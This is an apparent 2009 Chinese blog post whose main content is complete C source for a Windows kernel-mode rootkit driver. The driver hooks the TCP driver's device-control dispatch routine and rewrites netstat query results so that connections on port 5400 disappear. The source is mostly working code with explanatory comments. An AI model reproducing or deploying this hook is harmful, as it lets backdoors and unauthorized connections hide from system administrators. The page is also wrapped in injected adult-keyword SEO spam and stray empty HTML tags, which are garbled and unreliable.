青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

隨筆-23  評(píng)論-73  文章-3  trackbacks-0

/************************************************************
 驅(qū)動(dòng)層隱藏端口示例:

 說明:通過HookTCP驅(qū)動(dòng)程序的Irp分派例程(irpStack->MajorFunction[IRP_MJ_DEVICE_CONTROL])
          來隱藏應(yīng)用層查詢端口信息
************************************************************/
#include <ntddk.h>

#define CO_TL_ENTITY 0x400
#define CL_TL_ENTITY 0x401
#define IOCTL_TCP_QUERY_INFORMATION_EX 0x00120003
#define HTONS(a) (((0xFF&a)<<8) + ((0xFF00&a)>>8))

typedef struct TDIEntityID
{
 ULONG tei_entity;
 ULONG tei_instance;
}TDIEntityID;

typedef struct TDIObjectID
{
 TDIEntityID toi_entity;
 ULONG toi_class;
 ULONG toi_type;
 ULONG toi_id;
}TDIObjectID;

typedef struct _CONNINFO101

 unsigned long status;
 unsigned long src_addr;
 unsigned short src_port;
 unsigned short unk1;
 unsigned long dst_addr;
 unsigned short dest_port;
 unsigned short unk2;
}CONNINFO101,*PCONNINFO101;

typedef struct _CONNINFO102
{
 unsigned long status;
 unsigned long src_addr;
 unsigned short src_port;
 unsigned short unk1;
 unsigned long dst_addr;
 unsigned short dst_port;
 unsigned short unk2;
 unsigned long pid;
}CONNINFO102,*PCONNINFO102;

typedef struct _CONNINFO110
{
 unsigned long size;
 unsigned long status;
 unsigned long src_addr;
 unsigned short src_port;
 unsigned short unk1;
 unsigned long dst_addr;
 unsigned short dst_port;
 unsigned short unk2;
 unsigned long pid;
 PVOID unk3[35];
}CONNINFO110,*PCONNINFO110;

typedef struct _REQINFO
{
 PIO_COMPLETION_ROUTINE OldCompletion;
 unsigned long ReqType;
}REQINFO,*PREQINFO;

PFILE_OBJECT pFile_tcp;
PDEVICE_OBJECT pDev_tcp;
PDRIVER_OBJECT pDrv_tcpip;

typedef NTSTATUS (*OLDIRPMJDEVICECONTROL)(IN PDEVICE_OBJECT,IN PIRP);
OLDIRPMJDEVICECONTROL OldIrpMjDeviceControl;

NTSTATUS IoCompletionRoutine( IN PDEVICE_OBJECT DeviceObject,
         IN PIRP Irp,
         IN PVOID Context )
/*
* 如果將端口的狀態(tài)信息改為0,則端口就不顯示
* 各個(gè)端口狀態(tài)信息如下:
*  1 = CLOSED
*  2 = LISTENING
*  3 = SYN_SENT
*  4 = SYN_RECEIVED
*  5 = ESTABLISHED
*  6 = FIN_WAIT_1
*  7 = FIN_WAIT_2
*  8 = CLOSE_WAIT
*  9 = CLOSING
*  ......
*/
{
 PVOID OutputBuffer;
 ULONG NumOutputBuffers;
 PIO_COMPLETION_ROUTINE p_compRoutine;
 ULONG i;
 
 OutputBuffer = Irp->UserBuffer;
 //將以前的Irp中的完成函數(shù)的指針恢復(fù)
 p_compRoutine = ((PREQINFO)Context)->OldCompletion;
 //以下為判斷各種網(wǎng)絡(luò)請(qǐng)求的參數(shù)類型
 if(((PREQINFO)Context)->ReqType == 0x101)
 {
  NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO101);
  for( i = 0;i < NumOutputBuffers;i ++ )
  {
   //在這里隱藏端口
   if(HTONS(((PCONNINFO101)OutputBuffer)[i].src_port) == 5400 )
   {
    ((PCONNINFO101)OutputBuffer)[i].status = 0;
   }
  }
 }
 else if(((PREQINFO)Context)->ReqType == 0x102)
 {
  NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO102);
  for( i = 0;i < NumOutputBuffers;i ++ )
  {
   if(HTONS(((PCONNINFO102)OutputBuffer)[i].src_port) == 5400 )
   {
    ((PCONNINFO102)OutputBuffer)[i].status = 0;
   }
  }
 }
 else if(((PREQINFO)Context)->ReqType == 0x110)
 {
  NumOutputBuffers = Irp->IoStatus.Information / sizeof(CONNINFO110);
  for( i = 0;i < NumOutputBuffers;i ++ )
  {
   if(HTONS(((PCONNINFO110)OutputBuffer)[i].src_port) == 5400 )
   {
    ((PCONNINFO110)OutputBuffer)[i].status = 0;
   }
  }
 }
 //釋放在Hook中分配的內(nèi)存
 ExFreePool(Context);
 
 if( (Irp->StackCount > (ULONG)1) && (p_compRoutine != NULL) )
 {
  //如果以前的IRP中有完成例程,就調(diào)用以前的完成例程
  return (p_compRoutine)(DeviceObject,Irp,NULL);
 }
 else
 {
  //如果以前的Irp沒有完成例程,就返回本Hook的狀態(tài)
  return Irp->IoStatus.Status;
 }
}

NTSTATUS HookedDeviceControl(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp)
{
 PIO_STACK_LOCATION irpStack;
 ULONG ioTransferType;
 TDIObjectID *inputBuffer;
 ULONG context;
 
 irpStack = IoGetCurrentIrpStackLocation(Irp);
 //判斷當(dāng)前IRP棧單元的IRP_MJ_*例程
 switch( irpStack->MajorFunction )
 {
  case IRP_MJ_DEVICE_CONTROL:
  //如果IRP的次功能號(hào)為0且IOCTL查詢代碼為IOCTL_TCP_QUERY_INFORMATION_EX,
  //說明是應(yīng)用層程序通過netstat.exe之類的程序請(qǐng)求查詢TCP端口號(hào)信息
  if((irpStack->MinorFunction == 0) && (irpStack->Parameters.DeviceIoControl.IoControlCode == IOCTL_TCP_QUERY_INFORMATION_EX))
  {
   //得到IoControlCode中的請(qǐng)求類型,判斷是否為METHOD_NEITHER方式的Irp
   //ioTransferType &= 3;是得到CTL_CODE中Irp的請(qǐng)求方式(METHOD_BUFFERED,METHOD_IN_DIRECT or METHOD_OUT_DIRECT,MOTHOD_NEITHER)
   ioTransferType = irpStack->Parameters.DeviceIoControl.IoControlCode;
   ioTransferType &= 3;
   if( ioTransferType == METHOD_NEITHER )
   {
    //MOTHOD_NEITHER方式的Irp的輸入緩沖區(qū)在Type3InputBuffer中
    inputBuffer = (TDIObjectID *)irpStack->Parameters.DeviceIoControl.Type3InputBuffer;
    //如果TDIObjectID的請(qǐng)求方式為CO_TL_ENTITY類型,說明是請(qǐng)求查詢TCP端口信息
    if( inputBuffer->toi_entity.tei_entity == CO_TL_ENTITY )
    {
     //0x101,0x102,0x110為應(yīng)用層程序查詢時(shí)所帶的不同參數(shù)
     if( (inputBuffer->toi_id == 0x101) || (inputBuffer->toi_id == 0x102) || (inputBuffer->toi_id == 0x110) )
     {
      //改變Irp棧單元的控制位標(biāo)志
      irpStack->Control = 0;
      irpStack->Control |= SL_INVOKE_ON_SUCCESS;
      //在Irp的棧單元中分配一個(gè)上下文,保存以前Irp的完成例程和應(yīng)用層參數(shù)信息
      irpStack->Context = (PIO_COMPLETION_ROUTINE)ExAllocatePool(NonPagedPool,sizeof(REQINFO));
      //保存舊的完成例程
      ((PREQINFO)irpStack->Context)->OldCompletion = irpStack->CompletionRoutine;
      ((PREQINFO)irpStack->Context)->ReqType = inputBuffer->toi_id;
      //安裝新的完成例程
      //這步操作很重要,當(dāng)鉤住當(dāng)前的TCP驅(qū)動(dòng)對(duì)象以后,就可以先一步得到發(fā)送驅(qū)動(dòng)程序的Irp
      //在鉤子函數(shù)中處理完這個(gè)Irp后要把這個(gè)Irp發(fā)給真正的TCP驅(qū)動(dòng)程序
      //在真正的TCP驅(qū)動(dòng)程序處理完成這個(gè)Irp以后,我們的鉤子函數(shù)唯一可以再得到這個(gè)Irp的方式是
      //給這個(gè)Irp設(shè)置完成例程
      irpStack->CompletionRoutine = (PIO_COMPLETION_ROUTINE)IoCompletionRoutine;
     }
    }
   }
  }
  break;
  default:
  break;
 }
 //調(diào)用以前的DeviceIoControl函數(shù)
 return OldIrpMjDeviceControl(DeviceObject,Irp);
}

NTSTATUS InstallTCPDriverHook()
{
 NTSTATUS ntStatus;
 UNICODE_STRING deviceTCPUnicodeString;
 WCHAR deviceTCPNameBuffer[] = L"\\Device\\Tcp";
 
 pFile_tcp = NULL;
 pDev_tcp = NULL;
 pDrv_tcpip = NULL;
 
 RtlInitUnicodeString(&deviceTCPUnicodeString,deviceTCPNameBuffer);
 //得到TCP驅(qū)動(dòng)程序的設(shè)備對(duì)象和文件對(duì)象
 ntStatus = IoGetDeviceObjectPointer(&deviceTCPUnicodeString,FILE_READ_DATA,&pFile_tcp,&pDev_tcp);
 if( !NT_SUCCESS(ntStatus) )
 {
  return ntStatus;
 }
 //得到TCP設(shè)備對(duì)象對(duì)應(yīng)的驅(qū)動(dòng)程序?qū)ο?br> pDrv_tcpip = pDev_tcp->DriverObject;
 //保存以前TCP驅(qū)動(dòng)對(duì)象中IRP_MJ_DEVICE_CONTROL函數(shù)的指針
 OldIrpMjDeviceControl = pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL];
 if( OldIrpMjDeviceControl )
 {
  //替換TCP驅(qū)動(dòng)對(duì)象的IRP_MJ_DEVICE_CONTROL函數(shù)的指針為鉤子函數(shù)的指針
  InterlockedExchange((PLONG)&pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL],(LONG)HookedDeviceControl);  
 }
 return STATUS_SUCCESS;
}

VOID Unload( IN PDRIVER_OBJECT  DriverObject )
{
 if( OldIrpMjDeviceControl )
 {
  //在這里恢復(fù)以前的函數(shù)入口地址
  pDrv_tcpip->MajorFunction[IRP_MJ_DEVICE_CONTROL] = OldIrpMjDeviceControl;
 }
 DbgPrint("Rootkits Unload \n");
}

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath)
{
 DbgPrint("Rootkits Load \n");
 DriverObject->DriverUnload = Unload;
 //安裝驅(qū)動(dòng)程序的Irp分派函數(shù)鉤子
 return InstallTCPDriverHook();
}

posted on 2009-01-13 10:56 ViskerWong 閱讀(2478) 評(píng)論(0)  編輯 收藏 引用

只有注冊(cè)用戶登錄后才能發(fā)表評(píng)論。
網(wǎng)站導(dǎo)航: 博客園   IT新聞   BlogJava   博問   Chat2DB   管理


青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲欧美视频一区| 久久国产精品电影| 亚洲自拍偷拍网址| 欧美va天堂va视频va在线| 国产亚洲欧美一区二区三区| 亚洲午夜电影| 日韩视频一区二区三区| 欧美不卡视频一区发布| 亚洲大片精品永久免费| 久久久国产亚洲精品| 亚洲中午字幕| 国产欧美一区二区三区另类精品 | 亚洲男女自偷自拍| 国产精品v欧美精品v日韩精品 | 久久久xxx| 久久激情久久| 精品成人一区二区| 狼狼综合久久久久综合网| 久久xxxx| 亚洲成人在线| 91久久精品国产91久久| 免费欧美高清视频| 亚洲美女av在线播放| 亚洲另类自拍| 国产精品久久二区| 久久国产精品99精品国产| 欧美在线综合视频| 亚洲福利在线观看| 亚洲高清在线视频| 欧美日韩伦理在线免费| 亚洲影视综合| 欧美亚洲日本网站| 在线日韩av片| 亚洲日本成人女熟在线观看| 欧美视频在线一区二区三区| 久久国产视频网站| 免费看av成人| 午夜久久tv| 久久先锋影音| 在线亚洲自拍| 久久亚洲一区二区| 亚洲一区二区三区精品在线观看 | 国产精品一区二区久激情瑜伽| 中文av一区特黄| 亚洲特级毛片| 在线观看日韩www视频免费| 欧美激情视频给我| 国产精品久久999| 免费影视亚洲| 欧美午夜久久| 蜜臀久久99精品久久久画质超高清| 欧美bbbxxxxx| 久久国产主播精品| 欧美精品aa| 久久躁日日躁aaaaxxxx| 欧美日韩亚洲国产一区| 久久久久久久91| 欧美日韩精品一区二区三区四区 | 一区二区激情小说| 欧美在线观看日本一区| aa亚洲婷婷| 久久久亚洲国产天美传媒修理工| 一区二区三区高清视频在线观看| 久久成人免费| 亚洲在线播放电影| 你懂的一区二区| 久久久久久久久久码影片| 欧美精品粉嫩高潮一区二区| 久久九九全国免费精品观看| 欧美日韩国产综合新一区| 毛片一区二区| 国产亚洲人成a一在线v站| 在线视频亚洲| 一区二区三区欧美在线观看| 久久夜色精品国产欧美乱极品| 午夜精品福利视频| 欧美日韩免费观看一区| 欧美激情一区二区三区在线视频观看 | 欧美不卡福利| 猛干欧美女孩| 国内成+人亚洲+欧美+综合在线| 一本色道久久综合亚洲精品不 | 先锋影音久久| 国产精品国产成人国产三级| 亚洲日本成人女熟在线观看| 亚洲第一区中文99精品| 久久久久久亚洲综合影院红桃| 久久福利资源站| 国产亚洲欧美日韩在线一区| 午夜精品短视频| 欧美主播一区二区三区美女 久久精品人 | 欧美成人精品不卡视频在线观看 | 欧美一区二区三区男人的天堂| 午夜精品久久久久久久白皮肤| 欧美亚洲成人精品| 亚洲特黄一级片| 欧美在线观看一二区| 国产美女精品视频免费观看| 午夜国产精品影院在线观看| 久久国内精品视频| 国内精品美女av在线播放| 久久精品成人一区二区三区| 毛片一区二区| 在线播放日韩专区| 欧美福利在线| 99精品视频免费观看| 亚洲欧美日韩一区二区三区在线观看| 国产精品家教| 欧美中文字幕第一页| 免费成人高清| 亚洲人成高清| 欧美色图一区二区三区| 亚洲综合久久久久| 蜜臀91精品一区二区三区| 亚洲国产高清在线| 欧美日韩大片一区二区三区| 亚洲视频免费| 久久久午夜精品| 亚洲另类黄色| 国产精品麻豆va在线播放| 久久av在线看| 亚洲精品一区二区三区婷婷月| 亚洲你懂的在线视频| 国内精品久久久久久久影视蜜臀| 欧美jizz19性欧美| 亚洲一区在线直播| 欧美福利一区二区| 亚洲欧美日韩综合| …久久精品99久久香蕉国产 | 精品成人在线| 欧美另类视频在线| 性欧美暴力猛交另类hd| 欧美韩国日本一区| 亚洲欧美久久久久一区二区三区| 黄色影院成人| 欧美午夜宅男影院| 久久免费精品视频| 亚洲新中文字幕| 91久久精品美女高潮| 久久精品国产99| 亚洲天堂第二页| 在线观看福利一区| 国产精品美女| 欧美精品二区三区四区免费看视频| 午夜电影亚洲| 99在线精品视频| 免费观看日韩| 欧美一区二区大片| 99视频在线观看一区三区| 一区二区三区在线视频播放| 国产精品高潮呻吟久久av黑人| 免费成人性网站| 久久精品色图| 欧美淫片网站| 亚洲欧美成人| 亚洲性线免费观看视频成熟| 亚洲午夜免费视频| 欧美va天堂在线| 久久精品视频免费观看| 亚洲欧美成人精品| 一本色道久久综合狠狠躁篇的优点| 欧美岛国激情| 欧美成人午夜激情视频| 久久久视频精品| 欧美自拍丝袜亚洲| 亚洲欧美一级二级三级| 国产精品99久久久久久久久 | 免费亚洲一区| 久久亚洲综合色一区二区三区| 欧美一区二区三区电影在线观看| 一区二区免费在线视频| 日韩一级精品视频在线观看| 亚洲国产一区二区三区在线播| 黄网站免费久久| 另类专区欧美制服同性| 久久精品国产免费看久久精品| 亚洲一级特黄| 亚洲欧美日本另类| 亚洲一级在线观看| 亚洲综合精品自拍| 午夜精品偷拍| 久久精品日韩一区二区三区| 欧美在线免费观看视频| 欧美一区二粉嫩精品国产一线天| 亚洲欧美视频在线| 欧美在线在线| 男女精品视频| 欧美日韩午夜| 国产欧美一二三区| 在线观看一区二区精品视频| 亚洲高清不卡在线观看| 亚洲福利视频一区| 一区二区三区四区五区精品视频 | 亚洲在线一区| 午夜精品久久久久久久久久久久久| 亚洲免费在线电影| 久久国产精品久久精品国产| 久久久噜噜噜久久中文字免| 久久夜色精品国产噜噜av| 欧美精品v国产精品v日韩精品|